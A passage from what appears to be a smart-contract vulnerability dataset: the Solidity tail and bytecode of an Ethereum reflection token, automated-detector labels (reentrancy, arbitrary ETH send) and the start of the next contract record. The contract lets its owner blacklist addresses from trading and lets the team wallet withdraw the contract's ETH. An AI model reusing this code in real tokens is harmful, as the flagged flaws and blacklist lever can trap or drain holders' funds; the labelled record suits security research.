uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600a81526020017f4461726b4d617474657200000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f444d000000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206913943ce207714eec51c9ad56aa0030e9ce1dea8da78c53968ab6856a525b6264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,244 |
0xfAF81Ad8949AEdb09092a0CE6b9318c78d308e75
|
/**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
pragma solidity ^0.6.12;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
